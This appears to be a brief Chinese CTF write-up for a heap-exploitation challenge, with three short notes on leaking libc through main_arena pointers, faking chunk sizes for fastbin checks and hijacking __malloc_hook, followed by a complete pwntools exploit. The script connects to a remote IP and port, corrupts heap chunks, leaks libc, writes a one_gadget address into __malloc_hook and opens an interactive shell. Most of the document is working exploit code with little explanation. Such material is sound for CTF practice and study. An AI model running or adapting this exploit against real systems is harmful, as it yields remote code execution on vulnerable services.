知识点
1.small chunk释放时候fd bk指到main_arena的0x58出 main_arena存在libc段
2.small chunk加入fastbin时候需要修改size位过检测
3.malloc_hook检测申请堆 平常0 不为0先执行里面的内容
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
|
from pwn import *
io = remote("119.29.221.116",10000)
def alloc(size): io.recvuntil("Command: ") io.sendline('1') io.recvuntil("Size: ") io.sendline(str(size))
def fill(index,content): io.recvuntil("Command: ") io.sendline('2') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(len(content))) io.recvuntil("Content: ") io.send(content)
def free(index): io.recvuntil("Command: ") io.sendline('3') io.recvuntil("Index: ") io.sendline(str(index))
def dump(index): io.recvuntil("Command: ") io.sendline('4') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Content: \n") data = io.recvline() return data
alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10)
alloc(0x80)
free(1) free(2)
payload = "A"*16 payload += p64(0) + p64(0x21) + "A"*16 payload += p64(0) + p64(0x21) + p8(0x80)
fill(0, payload)
payload = "A"*16 payload += p64(0) + p64(0x21) fill(3, payload)
alloc(0x10)
alloc(0x10)
payload = "A"*16 payload += p64(0) + p64(0x91) fill(3, payload)
alloc(0x80)
free(4)
leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78
one_gadget = libc + 0x4526a
alloc(0x60) free(4)
payload = '' payload += p64(libc+0x3c4afd) fill(2,payload)
alloc(0x60) alloc(0x60)
payload = '' payload += p8(0)*3 payload += p64(one_gadget) fill(6,payload)
alloc(1) io.interactive()
|